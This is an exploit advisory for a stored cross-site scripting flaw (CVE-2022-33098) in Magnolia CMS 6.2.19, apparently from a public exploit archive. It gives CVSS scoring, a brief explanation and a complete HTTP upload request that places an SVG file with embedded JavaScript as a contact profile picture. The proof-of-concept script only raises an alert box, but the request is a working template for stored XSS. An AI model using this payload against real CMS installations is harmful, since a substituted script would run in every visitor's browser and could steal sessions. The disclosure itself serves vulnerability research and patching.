Magnolia CMS 6.2.19 Cross Site Scripting

2022.07.10
Credit: Giulio Garzia
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: Magnolia CMS <= 6.2.19 - Stored Cross-Site Scripting (XSS) # Date: 08/05/2022 # Exploit Author: Giulio Garzia 'Ozozuz' # Vendor Homepage: https://www.magnolia-cms.com/ # Software Link: https://nexus.magnolia-cms.com/service/local/repositories/magnolia.public.releases/content/info/magnolia/bundle/magnolia-community-demo-webapp/6.2.19/magnolia-community-demo-webapp-6.2.19-tomcat-bundle.zip # Version: 6.2.19 # Tested on: Linux, Windows, Docker # CVE : CVE-2022-33098 Explanation Malicious user with the permissions to upload profile picture for a contact, can upload an SVG file containing malicious JavaScript code that will be executed by anyone opening the malicious resource. ===== REQUEST ===== POST /magnoliaAuthor/.magnolia/admincentral/APP/UPLOAD/0/140/action/cba61868-b27a-4d50-983d-adf48b992be1 HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------399178799522967017241464837908 Content-Length: 620 Connection: close Cookie: csrf=_WLVhBj-Vv-sdc37C4GBahMJ1tPS_7o_Y1VCEEw18Ks; JSESSIONID=F2678A586264F811C2746E4138BEF34D Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: iframe Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin -----------------------------399178799522967017241464837908 Content-Disposition: form-data; name="140_file"; filename="xss.svg" Content-Type: image/svg+xml <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert('POC - Magnolia CMS'); </script> </svg> -----------------------------399178799522967017241464837908--


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